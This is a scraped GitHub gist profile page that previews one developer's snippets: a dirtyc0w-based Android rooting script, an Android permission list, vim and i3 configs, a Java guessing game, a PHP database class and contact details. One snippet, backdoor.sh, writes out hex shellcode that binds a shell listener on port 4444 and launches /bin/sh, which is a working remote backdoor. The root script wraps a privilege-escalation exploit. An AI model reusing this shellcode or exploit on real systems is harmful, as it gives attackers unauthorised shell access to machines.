Skip to content

Instantly share code, notes, and snippets.

Avatar
:shipit:
shipping bugs

Aaron Esau Arinerron

:shipit:
shipping bugs
View GitHub Profile
@Arinerron
Arinerron / root.sh
Last active Sep 21, 2020
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
View root.sh
#!/bin/bash
# Give the usual warning.
clear;
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @ https://goo.gl/E2nmLF\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
clear;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
@Arinerron
Arinerron / permissions.txt
Last active Sep 18, 2020
A list of all Android permissions...
View permissions.txt
android.permission.ACCESS_ALL_DOWNLOADS
android.permission.ACCESS_BLUETOOTH_SHARE
android.permission.ACCESS_CACHE_FILESYSTEM
android.permission.ACCESS_CHECKIN_PROPERTIES
android.permission.ACCESS_CONTENT_PROVIDERS_EXTERNALLY
android.permission.ACCESS_DOWNLOAD_MANAGER
android.permission.ACCESS_DOWNLOAD_MANAGER_ADVANCED
android.permission.ACCESS_DRM_CERTIFICATES
android.permission.ACCESS_EPHEMERAL_APPS
android.permission.ACCESS_FM_RADIO
View .vimrc
set number
set autoindent
set softtabstop=4
set shiftwidth=4
set expandtab
set smartindent
set pastetoggle=<F2>
inoremap <S-Tab> <C-d>
@Arinerron
Arinerron / config
Created Jun 18, 2019
important part of i3 config
View config
exec --no-startup-id xautolock -time 60 -locker 'i3lock -d -c 000000'
exec --no-startup-id xmodmap -e 'keycode 135 = Super_R' && xset -r 135
bindsym XF86AudioRaiseVolume exec amixer -q set Master 1%+ unmute
bindsym XF86AudioLowerVolume exec amixer -q set Master 1%- unmute
bindsym XF86AudioPlay exec playerctl play-pause
bindsym XF86AudioMute exec /usr/bin/mute
@Arinerron
Arinerron / backdoor.sh
Created Apr 14, 2017
little backdoor
View backdoor.sh
echo "unsigned char shellcode[] = \"\\x31\\xc0\\x40\\x74\\x60\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\xb3\\x01\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x43\\x52\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x52\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x92\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x50\\x89\\xe2\\xb0\\x0b\\xcd\\x80\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x11\\x5c\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x
View teendevops.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
contact information for arinerron on teendevops
discord: @arinerron#5687
slack (teendevops.slack.com): arinerron
xmpp: aaron@k7dxs.net
irc (freenode): arinerron
View GuessingGame.java
import java.util.*; // import everything in util
public class GuessingGame {
public static int min = 0, max = 100; // set min to 0 and max to 100
public static boolean running = true; // set this to false, and next time it loops, it will stop
public static Scanner scanner = null; // this will be initialized by `main`
public static Random rand = new Random(); // this will be used to get a random number later
public static void main(String[] args) {
View database.php
<?php
/* define the database class */
class Database {
public $host = 'localhost';
public $name = '';
public $user = '';
public $pass = '';
private $mysqli;
View .vimrc
set number
set autoindent
set softtabstop=4
set shiftwidth=4
set expandtab
set smartindent
colors koehler
inoremap <S-Tab> <C-d>
View crypto
==QPJJjYxJ0UapGbtJmCVxENWVEdvw2Zu82bn9yL6MHc0RHa
You can’t perform that action at this time.